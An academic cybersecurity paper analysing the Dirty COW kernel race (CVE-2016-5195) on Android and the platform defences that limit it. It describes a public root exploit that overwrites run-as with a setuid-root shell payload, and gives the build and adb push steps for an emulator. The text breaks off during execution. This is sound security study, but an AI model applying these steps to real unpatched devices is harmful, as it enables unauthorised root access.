Free University of Brussels

CVE-2016-5195: Dirty COW in Mobile Operating System

Privilege Escalation & Mitigation on Android

Author: BOTTON David

Matricule ULB: 000615056

Program: MS Cybersecurity MSECUC:1

Course: ELECH-H550 Embedded System Security

Instructor: Dr. Jan Tobias Mühlberg

Paper Due Date: January 23, 2025

Table of Contents

January 2025

Abstract

Dirty Copy-On-Write (Dirty COW) vulnerability, or CVE-2016-5195, is an infamous and long unanticipated flaw in the conception of Linux's memory management system that allows unauthorized write access to read-only memory mappings. Although initially discovered on GNU/Linux, this exploit's relevance is not limited to that scope alone; its implications extend to the whole Android ecosystem, and even beyond. This paper aims to analyze Dirty COW applied to Android in order to assess the challenges and opportunities of exploitation in a complex layered security architecture. To do so, its practical exploitation is demonstrated by a rooting attempt on an emulated device. Then a post-exploitation reflection starts with the next possible steps and considerations defined under the constraints of Android's security mechanisms. Furthermore, the study evaluates the significance of Dirty COW in comparison with other kernel-based race conditions on mobile platforms. The findings have as an objective to provide thoughtful insight into the interplay between a kernel vulnerability and the mitigation strategies that hinder its initial blow, contributing to a broader understanding of privilege escalation risks in our portable devices.

1 Introduction

1.1 Problem Statement and Background Context

Dirty Copy-On-Write (Dirty COW) represents a long-standing vulnerability in Linux that remained out of the public's knowledge for nearly a decade, from 2007 to the end of 2016[1]. Hidden in plain sight in the core of Linux, this severe flaw strikes directly at a critical memory mechanism of the kernel, called Copy-On-Write (COW)[2]. This vulnerability allows an attacker to reliably compromise a broad spectrum of devices, typically with privilege escalation[3]. In a computing ecosystem context, Dirty COW has far-reaching implications because it has overlapped with the Android and Apple environments[4], thus representing millions[5] of affected computing devices and one of the broadest vulnerabilities known in history as of 2016.

From its origins in early UNIX systems to its widespread adoption in modern operating systems, the Copy-On-Write mechanism has become a fundamental memory optimization technique. Its ubiquitous implementation in Linux-based systems, cloud infrastructure, and mobile devices has significantly expanded the attack surface for vulnerabilities like Dirty COW. Although every single iteration of Android from the early versions up to 7.0 included is affected by the exploit[6], peculiar security controls on Android confer it remarkable mitigative power against unauthorized privilege escalations. These are versatile and comprehensive features such as; SELinux[7], application sandboxing[8], dm-verity[9], etc. This paper addresses the interplay between Dirty COW as a kernel vulnerability and Android's security posture, our mobile devices being highly valuable targets for cyberattackers.

1.2 Motivation for Studying Dirty COW on Android

Dirty COW stands as a critical milestone in kernel exploitation, distinguished by its profound implications for modern computing environments. While extensive research has documented its impact on traditional Linux systems, the vulnerability's manifestation in Android environments remains comparatively unexplored. This research gap largely stems from Android's inherently fragmented ecosystem - unlike conventional GNU/Linux distributions, Android devices incorporate vendor-specific kernel modifications[10] customized for diverse hardware platforms, making the exploitation of race conditions highly device-dependent. Also, because of the layered security architecture of smartphones and the ephemeral nature of privilege escalation exploits, achieving persistency often requires defeating multiple security controls in a row. For other regards, most mobile security researchers tend to focus on user-level vulnerabilities such as application or network exploitation. There is less incentive for researchers to document low-level vulnerabilities that operate beneath the user's visibility. Finally, Dirty COW really is a curious mistake inside a beautiful machinery before a tool em-

[1]Hazel Virdó: How To Protect Your Server Against the Dirty COW Linux Vulnerability, *Accessed: December 19, 2024*, Oct. 2016, https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-dirty-cow-linux-vulnerability.

[2]Red Hat Product Security: Kernel Local Privilege Escalation "Dirty COW" - CVE-2016-5195, *Accessed: December 19, 2024*, Oct. 2016, https://access.redhat.com/security/vulnerabilities/DirtyCow.

[3]MITRE Corporation: CVE-2016-5195: Dirty COW Linux Privilege Escalation Vulnerability, *Accessed: December 19, 2024*, 2016, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195.

[4]Ian Beer/Zhuowei Zhang/timwr: macOS Dirty Cow Arbitrary File Write Local Privilege Escalation in the Metasploit Framework, *Accessed: December 19, 2024*, Dec. 2022, https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/mac_dirty_cow.rb.

[5]Steve Snelgrove: The dangers of the Dirty COW vulnerability: Should you be worried?, *Accessed: December 19, 2024*, Oct. 2016, https://www.securitymetrics.com/blog/dangers-dirty-cow-vulnerability-should-you-be-worried.

[6]Android Open Source Project: Android Security Bulletin—November 2016, *Published: November 7, 2016. Updated: December 21, 2016. Accessed: December 19, 2024*, 2016, https://source.android.com/docs/security/bulletin/2016-11-01.

[7]Idem: Security-Enhanced Linux in Android, *Last updated: August 26, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/docs/security/features/selinux.

[8]Idem: Application Sandbox, *Last updated: December 18, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/security/app-sandbox.

[9]Idem: Verified Boot, *Last updated: August 26, 2024. Accessed: December 19, 2024*, 2024, https://source.android.com/security/verifiedboot.

[10]AOSP: Android common kernels, https://source.android.com/docs/core/architecture/kernel/android-common, *Accessed: December 19, 2024*, Dec. 2024.

ployed to hack into things. Studying it while applied to Android aims to seek a broader perspective on the intersection of race conditions in the mobile operating system's landscape.

1.3 Research Questions and Structure

To address these gaps, this study focuses on research questions in order to formulate a valid scientific approach and explore leads relevant to the topics.

- **RQ1:** How do Android-specific memory management modifications diverge from upstream Linux approaches, and how does this divergence influence the reproducibility and reliability of the Dirty COW exploit on Android devices?
- **RQ2:** In the absence of setuid binaries, what alternative privilege escalation vectors can an attacker leverage within the Android ecosystem when attempting to exploit Dirty COW?
- **RQ3:** Are there overlooked system binaries, services, or processes that execute with elevated privileges on Android, providing feasible footholds for Dirty COW-based escalation?
- **RQ4:** Given the presence of specific access controls and integrity enforcement features for Android, what strategies remain viable for achieving and maintaining post-exploitation persistence?

The primary contributions of this paper include the demonstration of a privilege escalation exploit leveraging the Dirty COW race condition on Android. An analysis of the security controls present shortly before the vulnerability's disclosure and the degree at which they might mitigate it. A comparative evaluation of Dirty COW with similar kernel vulnerabilities on mobile platforms. Finally, some recommendations for improving Android's resilience to privilege escalation attacks.

Are provided in this document: `Section 2` with an overview of the Copy-On-Write mechanism, its role in a kernel along the most relevant details of Dirty COW. `Section 3`, a focus on abstracting its mechanisms and constraints to an Android Operating System. `Section 4`, is a description of the tools and methodologies used to experiment the vulnerability, articulating a discussion on post-exploitation challenges and the obstacles to achieve persistency. Finally, `Section 5`, conclusion of the article recapitulating the insights gathered.

2 Fundamentals of Dirty COW (CVE-2016-5195)

2.1 Abusing Copy-On-Write

The Copy-On-Write mechanism is a common feat of Linux memory optimization, allowing multiple processes to share read-only memory pages until a write attempt occurs. When that happened, the kernel clones the original page to create a private, writable copy, for resource-preserving purposes[11]. In theory, the sequence comprising detecting a write, copying the page, and remapping a process memory runs smoothly and parallel to the actual read-only data. This is an effective optimization choice of design, but complex enough to be very tedious to protect in reality. The first security danger of the Copy-On-Write mechanism resides in its nonatomicity, one could call this issue fertile ground for a race condition[12]. The exact flaw is attributed to the synchronization mechanism which purpose is to regulate each three steps composing Copy-On-Write. To do so, it relies on locks and flags to prevent simultaneous access by multiple threads, thus laying down logic rules for atomicity. The opening is subtle; Dirty COW obviously, is not. The exploit basically consists of flooding the kernel with two conflicting requests; a write attempt to trigger Copy-On-Write, and an invalidation

[11] Delwar Alam/Moniruz Zaman, et al.: Study of the Dirty Copy on Write, a Linux Kernel Memory Allocation Vulnerability, in: ResearchGate 2017, *Chapter 3, Subchapter A: Linux Memory Allocation. Accessed: December 20, 2024*, pp. 3–7, https://www.researchgate.net/publication/316989907_Study_of_the_Dirty_Copy_On_Write_A_Linux_Kernel_Memory_Allocation_Vulnerability.

[12] Idem: Study of the Dirty Copy on Write, a Linux Kernel Memory Allocation Vulnerability, in: ResearchGate 2017, *Chapter 4 Analysis Of Dirty COW Attack. Accessed: December 20, 2024*, pp. 4–7, https://www.researchgate.net/publication/316989907_Study_of_the_Dirty_Copy_On_Write_A_Linux_Kernel_Memory_Allocation_Vulnerability.

demand for reloading the protected copy instead. This race condition effectively tricks the kernel into executing a write operation on supposedly immutable memory mappings, bypassing the intended isolation of the private, writable copy and compromising the fundamental security guarantees of the mechanism[13].

2.2 Technical Approach

To understand Dirty COW's exploitation mechanics, let us examine its proof of concept implementation[14] provided in annex (A). The exploit leverages multiple kernel subsystems, these are specialized components of the OS core. Each are responsible for providing essential services for process and memory management, file systems, and device drivers. The following subsystems are critical to Dirty COW's operation:

1. **Memory Mapping (`mmap`):** Mechanism that makes a process relate to a virtual address space, making the data contained in the latter logistically available for use. Its main purposes in Linux are Copy-On-Write, shared memory and lazy loading[15]. With Dirty COW, target data are mapped into memory with flags `MAP_PRIVATE` and `PROT_READ`. Ensuring changes are not processed back to the original file instance and that read-only is enforced, respectively.

2. **Page Fault Handling:** Memory management subsystem in charge of resolving a situation where processes do not find the queried resource at the memory address specified in RAM. The `handle_mm_fault` function will determine what the course of action should be using relevant helper functions (e.g. `do_cow_fault`). Typically, `Demand Paging` when the memory page is simply not loaded into RAM yet, `Invalid Access` if the memory asked for is deemed unmapped or protected, and Copy-On-Write, where the read-only page is shared between processes. For the latter, the kernel will assume the usual procedure of allocation of a new page in physical memory, copy of the original content[16].

3. **Memory Advisory (`madvise`):** Memory management subsystem with the critical role of optimizing how processes allocate, utilize and reclaim memory. The `madvise` system call provides an alternative for processes to inform the kernel about their expected use of memory regions. The latter is then able to make informed decisions about memory management[17]. For instance, the `MADV_WILLNEED` flag will give the task of pre-fetch data into memory. The `MADV_DONTNEED` flag to release the memory, is instead employed along a conflicting write attempt, effectively misleading the kernel.

4. **Direct Memory Access (`/proc/self/mem`):** The DMA kernel subsystem allows different hardware computing components like GPUs, NICs or disk controllers to access system memory without involving the CPU for RAM reads and writes, and offload some overhead to dedicated parts, abstracting the hardware. (`/proc/self/mem`)[18] is a pseudofile useful for debugging, doing memory diagnostics. Processes use it to immediately inspect their own memory space and perform actions based on pointers, independently of normal memory access mechanisms. This pseudofile is used in Dirty COW to bypass traditional file access controls due to that raw-access memory capability.

The exploitation opposes two concurrent threads, one repeatedly calling `madvise(MADV_DONTNEED)` with the objective to invalidate the memory mapping and clear the private writable copy. The second thread leverages (`/proc/self/mem`) for its write ability on the memory region of the original mapping passed in parameter. A race condition occurs when `madvise` clears the mapping simultaneously of page fault

[13]James Guo: Dirty-COW Attack Lab, *Accessed: December 20, 2024*, 2021, https://github.com/jamesguo71/SecurityReadings/blob/main/Dirty-COW%20Attack%20Lab.md.

[14]dirtycow: Dirty COW (CVE-2016-5195) Exploit C File, https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c, *Accessed: December 20, 2024*, 2016.

[15]Michael Kerrisk: mmap(2) - Linux manual page, version 6.9.1, *Accessed: December 20, 2024*, 2024, https://www.man7.org/linux/man-pages/man2/mmap.2.html.

[16]Daniel P. Bovet/Marco Cesati: Understanding the Linux Kernel, 2005.

[17]Michael Kerrisk: madvise(2) - Linux manual page, version 6.9.1, *Accessed: December 20, 2024*, 2024, https://www.man7.org/linux/man-pages/man2/madvise.2.html.

[18]Idem: proc(5) - Linux manual page, version 6.9.1, *Accessed: December 21, 2024*, 2024, https://www.man7.org/linux/man-pages/man5/proc.5.html.

being handled and the write operation still ongoing. That synchronization issue[19] allows the write thread to manipulate memory mappings and the kernel to erroneously execute a write operation to the original read-only page. This vulnerability highlights the challenges of rigorous synchronization in a shared resources scenario with high concurrency, and the complexity of operations in a fine-grained system like kernel memory management.

2.3 Capabilities and Limitations

The core capability of CVE-2016-5195 lies in achieving persistent privilege escalation with file system manipulation as a vector, for all Linux systems and its derivatives starting from version 2.6.22 to version 4.8, corresponding to Android versions[20] 1.0 to 7.1.2. A typical application consists of compromising critical files directly on disk, such as replacing `setuid` binaries or pushing crafted entries into `/etc/passwd` or `/etc/shadow`[21]. Effective root elevation will enable a strong foothold for the attacker to proceed with further elaborated techniques, e.g. replacing a `systemd`[22] daemon with a backdoor, creating rogue user accounts, or overwriting cryptographic keys. Establishing persistency ensures the effects to survive system reboots, but correctly implemented integrity verification mechanisms reliably mitigate that possibility. A regular kernel for server or desktop system is not equipped out-of-the-box with any sort of risk mitigation controls that hinder the impact of Dirty COW. In virtualized[23] and containerized[24] infrastructure under Docker and Kubernetes, the vulnerability has proven to be effective in bypassing container isolation[25][26]. Simply put, the distinct capabilities of Dirty COW are the broad range of devices it targets and its ability to reliably push compromised binaries. The lot being doable in a very short time window from a unique, non-elevated, initial context.

The main limitations of Dirty COW reside in its reliance on kernel-level write permission and the need for some userspace to be executed. Specifically, it may not modify anything else than preexisting files, making its first inherent limitation memory-based. The famous race condition can only overwrite content the length of a Linux memory page[27] (typically 4KB), multiple times but always constraint within the initial, original, file's size. In other words, no memory will be additionally allocated with a malicious write. Remains are discarded and denial of service is to be expected for corrupted binaries. In the context of kernel implementation, exists numerous hardening techniques that introduce mitigation, typically access control-based and features related to integrity-checking.

For example, `GRsecurity`[28], a security-oriented Linux project based on a multilayered detection and containment model with RBAC that globally generates least-privilege policies, it is a security patch available for any Linux kernel to harden. Although it is not enough to prevent the kernel-based race condition, the superposition and layering of security architecture have strong mitigation added values. Overwritten files may be detected and reverted during integrity checks, `GRsecurity`'s `Write XOR Execute` protection ensures that

[19] The Linux Kernel Development Community: Spinlocks - Linux Kernel Documentation, *Accessed: December 21, 2024*, 2024, https://www.kernel.org/doc/html/latest/locking/spinlocks.html.

[20] Robert Siemer/contributors: Which Android runs which Linux kernel?, *Accessed: December 21, 2024*, 2013, https://android.stackexchange.com/questions/51651/which-android-runs-which-linux-kernel.

[21] FireFart: Dirty COW PoC to modify /etc/passwd, *Accessed: December 21, 2024*, 2017, https://github.com/firefart/dirtycow.

[22] Michael Kerrisk/the systemd Development Team: systemd.service - Service unit configuration, *Accessed: December 23, 2024*, 2024.

[23] IBM: What is Virtualization?, *Accessed: December 22, 2024*, Mar. 2023, https://www.ibm.com/think/topics/virtualization.

[24] Alyssa Shames: Docker and Kubernetes: How They Work Together, *Accessed: December 22, 2024*, Nov. 2023, https://www.docker.com/blog/docker-and-kubernetes/.

[25] Paranoid Software: Dirty COW - (CVE-2016-5195) - Docker Container Escape, *Accessed: December 22, 2024*, 2021, https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/.

[26] gebl: dirtycow-docker-vdso: Dockerized Dirty COW Exploit Targeting vDSO, *Accessed: December 22, 2024*, 2016, https://github.com/gebl/dirtycow-docker-vdso.

[27] David A. Rusling: The Linux Kernel: Memory Management, *Accessed: December 21, 2024*, 1999, chap. Chapter 3: Memory Management, https://tldp.org/LDP/tlk/mm/memory.html.

[28] Grsecurity Team: Grsecurity and PaX: Comprehensive security for Linux, *Accessed: December 22, 2024*, 2024.

no memory page can be both writable and executable[29], also the crucial use of `madvise(MADV_DONTNEED)` is sanitized. Hardened kernels typically tend to limit injections, enforce process isolation, and ensure restriction on privileges even in the case of escalation.

Moreover, systems configured with read-only bind mounts or immutable file systems reliably mitigate the persistency dimension of the attack. Chrome OS, a Linux derivation, employs immutable root filesystem, sandboxing, and stateless `/etc` directory allowing runtime configuration to change but alterations to be lost on reboot. In highly critical embedded and `Automotive Grade Linux`[30] standard vehicle systems, the lightweight `Simplified Mandatory Access Control Kernel`[31][32] (SMACK) module introduced in 2008 with a Label-based access control[33] (LBAC)[34] for better vulnerability containment. In the case of custom embedded systems, it is possible to disable core system calls required for the exploit chain, such as `madvise()` or `/proc/self/mem`. In a virtualization context, containers employing the Secure Computing Mode[35] (Seccomp) enforce restrictions on `syscalls`[36], monitoring their usage pattern, preventing exploit-like behaviors, detecting race conditions or improper memory handling. These indicators of compromise are key elements[37] of Dirty COW and will trigger immediate actions such as blocking and logging events. The most frequent limitation upon exploitation being the impossibility to achieve more than a transient, temporary, privilege escalation due to the layering of strict access controls, application sandbox and process isolation. The most straightforward prevention against Dirty COW remains kernel patching, which supposedly neutralizes the underlying vulnerability regardless of other security controls.

3 Android Specifics

3.1 Challenges and Constraints

Mobile Operating Systems often process and safeguard users' PII and sensitive data, making them high-value targets for cyberattacks[38]. Android's security architecture was designed with this threat landscape in mind, implementing multiple layers of defense absent in most consumer-grade communication devices. The hardening techniques mentioned earlier are to be expected. For Android systems to defend themselves against cyberattacks, exist:

1. **Android Sandbox** `(Application-level)`**:** Isolates each program in a standalone, dedicated environment with a unique `User Identifier`. Along `Process Isolation` distinguishing allocated resources of running processes, represent high-level safety measures native to Android since its inception.

[29] Thomas Pornin: What attacks does a WX policy prevent against?, *Accessed: December 22, 2024*, 2012, https://security.stackexchange.com/questions/18936/what-attacks-does-a-wx-policy-prevent-against.

[30] Automotive Grade Linux: 00-doorsNG-original.md - AGL Specifications v1.0, *Accessed: December 22, 2024*, 2015, https://github.com/automotive-grade-linux/docs-agl/blob/master/docs/agl-specs-v1.0/00-doorsNG-original.md.

[31] The Linux Kernel Development Community: Smack - Simplified Mandatory Access Control Kernel, version 4.14.0, *Accessed: December 22, 2024*, 2017, https://www.kernel.org/doc/html/v4.14/admin-guide/LSM/Smack.html.

[32] Dominig ar Foll: GL as a generic secured industrial embedded Linux, Presented at FOSDEM 2017, Embedded, mobile, and automotive devroom, *Accessed: December 22, 2024*, 2017, https://archive.fosdem.org/2017/schedule/event/agl_secure_industrial/.

[33] IBM Corporation: Label-based Access Control (LBAC) - IBM Db2 11.5 Documentation, *Accessed: December 22, 2024*, 2024, https://www.ibm.com/docs/en/db2/11.5?topic=security-label-based-access-control-lbac.

[34] Automotive Grade Linux: Automotive Grade Linux Security Overview, *Accessed: December 22, 2024*, 2016, https://web.archive.org/web/20170606093533/http://docs.automotivelinux.org/docs/architecture/en/dev/reference/security/01-overview.html.

[35] Michael Kerrisk: seccomp(2) - Linux manual page, version 6.9.1, *Accessed: December 22, 2024*, 2024, https://man7.org/linux/man-pages/man2/seccomp.2.html.

[36] Idem: seccomp(2) - Linux manual page, version 6.9.1, *Accessed: December 22, 2024*, 2024, https://man7.org/linux/man-pages/man2/syscall.2.html.

[37] Kurt Baker: Indicators of Compromise (IOC) Security, *Accessed: December 22, 2024*, Oct. 2022, https://www.cybersecurity101.com/indicators-of-compromise-security.

[38] Pierluigi Paganini: Android Zero-Day Exploits are the Most Expensive in the New Zerodium Price List, *Accessed: December 22, 2024*, Sept. 2019, https://securityaffairs.com/90767/hacking/zerodium-price-list.html.

2. **Security-Enhanced Linux** **`(Kernel-level)`:** Mandatory Access Control (MAC) framework significantly enhancing Android's security posture in the enforcement of fine-grained security policies. SELinux applied in addition with the Linux kernel's traditional discretionary access controls restrict the actions of privileged processes. Enabled by default since Android version 5.0 (Lollipop), in 2014.

3. **No setuid Binaries** **`(Kernel-level)`:** The Absence of `setuid` binaries[39] is part of the initial security design of Android, it aims to replace the traditional Linux mechanism with better compartmentalization. Conjointly with SELinux and Sandboxing, `Privileged Daemons` mitigates the risk of direct privilege escalation, they are managed by system services.

4. **Secure Computing Mode** **`(Kernel-level)`:** Introduced in the Linux kernel in 2005 and adopted in Android 8.0 (2017), it restricts processes to essential `syscalls` (`read()`, `write()`, `exit()`, `sigreturn()`). Enhanced with `Extended Berkeley Packet Filter`[40] (BPF) support, it allows custom syscall filtering rules that can prevent execution of compromised binaries, directly impacting Dirty COW exploitation attempts.

5. **Android Verified Boot** **`(Boot-level)`:** AVB[41] and `device-mapper-verity`[42] (dm-verity) work alongside each other to ensure the integrity of the system and boot partitions. The former prevents the device from booting tampered after validating its cryptographic integrity, establishing a root of trust through the hardware. The latter detects modifications in the system and vendor partitions at read time comparing hashes in `dm-verity` metadata. These will prevent establishing persistency and refuse to run a compromised `setuid` file, crash the process or push the device in recovery mode. These systems have been added to Android in 2013 on version 4.4 KitKat.

6. **File-Based Encryption** **`(Boot-level)`:** Introduced in Android 7.0 (Nougat), FBE[43] is a drive encryption scheme which role is to encrypt individual files using hardware-backed keys so they are under protection even if the OS is compromised.

7. **Trusted Execution Environment** **`(Hardware-level)`:** Secure area of the main processor implemented using `ARM TrustZone` or equivalent, to execute biometric and cryptographic operations in isolation. It ensures that hardware-backed keys remain inaccessible from the operating system. This layer is critical to prevent Dirty COW from being able to target these keys. TEE is a required standard for the `Android Compatibility Definition Document`[44] (CDD) since 2015 and version 6.0 (Marshmallow).

8. **Vendor-specific optimizations:** Android devices incorporate proprietary optimizations peculiar to the vendor. You might have distinct `System-On-Chip`[45](SoC) code implementations, selective security enhancements, OEM cutomizations with unique scheduling policies and different memory allocation strategies on a manufacturer-by-manufacturer basis. Android is sometimes used for IoT and embedded devices[46] in `Industrial Control Systems` (ICS), system calls might not be available in such configuration. These distinctions have an impact on the reproducibility of race conditions and on the

[39] Melab: Effect of nosuid on executables inside the mounted filesystem, *Accessed: December 22, 2024*, Dec. 2015, https://unix.stackexchange.com/questions/250802/effect-of-nosuid-on-executables-inside-the-mounted-filesystem.

[40] The Linux Kernel Development Community: Seccomp BPF (SECure COMPuting with filters), version 4.19.0, *Accessed: December 22, 2024*, 2024, https://www.kernel.org/doc/html/v4.19/userspace-api/seccomp_filter.html.

[41] Android Open Source Project: Verified Boot: Ensuring the Integrity of the Operating System, *Accessed: December 22, 2024*, 2024, https://source.android.com/docs/security/features/verifiedboot.

[42] Idem: Implement dm-verity: Android Security Features, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/security/features/verifiedboot/dm-verity.

[43] Idem: File-Based Encryption: Android Security Features, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/security/features/encryption/file-based.

[44] Android Open Source Project (AOSP): Android Compatibility Definition Document, *Accessed: December 23, 2024*, 2024, https://source.android.com/docs/compatibility/cdd.

[45] Robert Triggs: What is an SoC? Everything you need to know about smartphone chipsets, *Accessed: December 23, 2024*, 2023, https://www.androidauthority.com/what-is-an-soc-smartphone-chipsets-explained-1051600/.

[46] Maharajan Veerabahu: Android for Embedded Devices - 5 Reasons why Android is used in Embedded Devices, *Accessed: December 23, 2024*, Nov. 2017, https://www.embeddedrelated.com/showarticle/1107.php.

duration of the timing window necessary for an exploit like Dirty COW to be producible. It supports the fragmented nature of the Android ecosystem[47], where both hardware and software are eclectic. It is difficult to quantify the effectiveness of Dirty COW on a large scale with as much inconsistency in the test subjects. Furthermore, due to the proprietary nature of these optimizations, their exact impact is often undocumented and unavailable for detailed analysis, complicating efforts to standardize exploit testing[48] across devices. This is an answer for the first research question (RQ1) of the document.

Android layered security architecture is comprehensive and in-depth, especially after 2013; integration of Android Verified Boot with Android 4.4, integration of SELinux in 2014 with Android 5. Previous versions were much more exposed to a successful Dirty COW exploitation but the numerous security controls active today make that particular exploit impossible unless in a controlled environment employing workarounds.

3.2 Controlled Environment

To analyze the feasibility of the Dirty COW exploit on Android, a controlled environment is required. A cost-effective method to experiment different configurations without the need of several physical devices is the emulation with `Android Studio Emulator`[49] and `Android Debug Bridge`[50]. This methodology was chosen for several critical reasons. Testing privilege escalation exploits on physical devices introduces significant risks of permanent system corruption, particularly when targeting read-only memory mappings. Also, analyzing race conditions requires precise timing measurements and reproducible test conditions, which are difficult to achieve on diverse hardware. Android Studio Emulator was selected over alternatives because it provides native AOSP system images and granular control over hardware specifications, while ADB offers a consistent interface for both virtual and physical devices. The 32bit Nexus 5X running Android 7 Nougat (API 25) was specifically chosen as it represents the last Android version officially vulnerable to Dirty COW, allowing comprehensive testing of security controls in a recoverable environment. Together, they allow developers to fine-tune most aspects of the device such as the hardware and software and the kernel version in virtual, manageable devices. ADB is the intermediary between these virtual devices and the user, it communicates our shell commands and allows interactions. Key emulation configurations detailed below:

- **Development Tools:**
  - **Root Access for adb:** `adb root`

    Output: `restarting adbd as root`
  - **NDK Version:** `ndk-build --version`

    Output: `GNU Make 4.3`
- **System and Kernel Information:**
  - **Kernel Version and Architecture:** `adb shell uname -a`

    Output: `Linux localhost 3.10.0+ #256 SMP PREEMPT Fri May 19 11:58:12 PDT 2017 i686`
  - **Android Verified Boot (AVB) Version:** `adb shell getprop ro.boot.avb_version`

    Output: `(disabled for emulation purposes)`
- **Application and Kernel-Level Protections:**

[47] DevX Editorial Staff: Android Fragmentation, *Accessed: December 23, 2024*, 2023, `%5Curl%7Bhttps://www.devx.com/terms/android-fragmentation%7D`.

[48] Lili Wei et al.: Understanding and Detecting Fragmentation-Induced Compatibility Issues for Android Apps, in: IEEE Transactions on Software Engineering 46.11 (Nov. 2020), *Accessed: December 23, 2024*, pp. 1176–1199, `%5Curl%7Bhttps://ieeexplore.ieee.org/document/8493348%7D`.

[49] Android Developers: Run apps on the Android Emulator, `https://developer.android.com/studio/run/emulator`, *Accessed: December 23, 2024*, Android Developers, 2024.

[50] Idem: Android Debug Bridge (adb), `https://developer.android.com/tools/adb`, *Accessed: December 23, 2024*, Android Developers, 2024.

- **SELinux Status:** `adb shell getenforce`

  Output: `Enforcing`
- **System Partition Mount Status:** `adb shell mount | grep system`

  Output: `/dev/block/vda on /system type ext4 (ro,seclabel,relatime,data=ordered)`
- **Seccomp Status:** `adb shell cat /proc/self/status | grep Seccomp`

  Output: `Seccomp:  0 (disabled)`

• **Boot-Level Protections:**

- **Verified Boot State:** `adb shell getprop ro.boot.verifiedbootstate`

  Output: `(disabled for emulation purposes)`
- **Bootloader Lock Status:** `adb shell getprop ro.boot.flash.locked`

  Output: `(disabled for emulation purposes)`
- **Encryption State (FBE):** `adb shell getprop ro.crypto.state`

  Output: `encrypted`

4 Privilege Escalation

4.1 Strategic Approach

Dirty COW vulnerability is used to push code in read-only mappings, but does not guarantee privilege escalation in itself. In the absence of setuid binaries, alternatives have to be exploited to achieve escalation, this is the second research question (RQ2). Attackers have to implement exploitation strategies that are not forbidden by Android's layered security model, including SELinux which limits access to critical resources and restricts elevation context of system programs. Their objective is to leverage existing mechanisms in the system responsible for changing the context of a process, such as `special-purpose` binaries or privileged system services. Dirty COW initially requires a shell on the target within the constraints of a non-privileged user, allowing to write somewhere in memory the exploit and the compromised executable in preparation for the attack. The payload must replace an elevation binary and fit into the original copy. Also, manipulate the UID and handle SELinux, restricting the context before calling a shell. On the topic of the third research question (RQ3), exist multiple programs able to provide a foothold for privilege escalation in Android. `Zygote` acts as the parent process for all applications, operates with elevated privileges and could be exploitable. Additionally, `system_server`, the main service manager in Android, has access to system APIs that could grant extensive access to the device, making it another valuable target for privilege escalation attempts.

4.2 Code

For the sake of experimenting Dirty COW on Android, the `run-as` binary is chosen, it is an alternative privilege escalation vector in AVD emulated systems. This executable is present on Android devices for developers to switch application context during their development on the platform. Executable `run-as` is available in the `/system/bin` read-only directory of the target device as a `special-purpose` binary. This study references and analyzes code from the publicly available proof-of-concept Git repository 'CVE-2016-5195' by Tim Wright (timwr)[51]. Its usage must remain for academic purposes only and should not be performed outside a controlled and reversible environment. The source code used is as follows:

[51] Tim Wright: CVE-2016-5195, https://github.com/timwr/CVE-2016-5195, *Accessed: December 22, 2024*, 2016.

4.2.1 Exploit `dirtycow.c`

The C source code for the Android Dirty COW exploit is available in annex (B). Compared with the generic implementation seen in the annex (A), this PoC for Android integrates the following additional features:

1. **SELinux Context Manipulation:** Includes interaction with SELinux lib after dynamically loading it using `dlopen()`, `dlsym()` is employed to retrieve the addresses of `getcon` and `setcon` in `libselinux.so`. Then it lowers down its restrictive context to (`u:r:shell:s0`[52]), a more permissive context available with ADB.

2. **Exploitation Methods:** Employs `ptrace`[53] syscall as a fallback mechanism to order a write operation into the target process memory in case of `/proc/self/mem` being unavailable or restricted. Furthermore, both methods rely on multiple threads working together to exploit the Dirty COW race condition, aforementioned in 2.2.

3. **Payload Handling:** Handle payload size (`INFILE`) in relation with the target to overwrite (`OUTFILE`), that way the Android version ensures alignment to prevent corruption. It either inserts a padding with zeros or truncates when used with `--no-pad` parameter.

4. **Android Logging API:** Debug tool to track and report the exploit behavior as it executes, instead of static `printf()` functions.

5. **Hardware Compatibility:** This android version is tailored for handling the security mechanisms peculiar to the OS and support both 32-bit and 64-bit.

4.2.2 Payload `run-as.c`

The C source code for the Android Dirty COW exploit is available in annex (C). This payload has the following characteristics:

1. `setuid` **Manipulation:** The program attempts to set the user and group identifiers to root using `setresuid(0,0,0)`[54] and `setresgid(0,0,0)`[55] before opening an interactive shell.

2. **SELinux Context Manipulation:** Includes similar SELinux context manipulation as in `dirtycow.c` exploit source code.

3. **File Manipulation:** The compiled version of this code totals 5.4 KB, while the original is 9.7 KB. To ensure that the overwritten file functions correctly without leaving residual content, a mechanism of null bytes padding is included, making it easier to overwrite the legitimate run-as binary within the size constraints or adapt the payload for different exploitations in the future.

4. **Hardware Compatibility:** Both 32-bit and 64-bit support.

4.3 Execution

This set of commands will prepare and execute the privilege escalation inside the AVD emulated environment, highlighting how the lack of proper integrity checks or the absence of dm-verity enforcement make binaries like `run-as` vulnerable to Dirty COW.
Cross-compile the binaries using NDK Toolchain[56]:

[52] SUSE Documentation Team: Understanding SELinux Basics, *Publication Date: 12 Dec 2024. Accessed: December 23, 2024*, SUSE LLC, Dec. 2024, https://documentation.suse.com/en-us/sle-micro/6.0/html/Micro-selinux/index.html.

[53] Linux man-pages project: ptrace(2) - Process Trace, *Part of the Linux kernel and C library user-space interface documentation project. This page is from version 6.9.1 of the Linux man-pages project.* May 2024.

[54] Idem: setresuid(2), setresgid(2) - Set Real, Effective, and Saved User or Group ID, *Part of the Linux kernel and C library user-space interface documentation project. This page is from version 6.9.1 of the Linux man-pages project.* May 2024.

[55] die.net: setresgid(2) - Linux Man Page, 2024, https://linux.die.net/man/2/setresgid.

[56] Android Developers: Use the NDK with Other Build Systems, 2024.

```
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=x86 APP_PLATFORM=android-25
```

Using Android Debug Bridge, push the binaries in regular, user memory and make permit the flag to be available for all users on the filesystem.

```
adb push libs/x86/dirtycow /data/local/tmp/dcow
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/x86/run-as /data/local/tmp/run-as
```

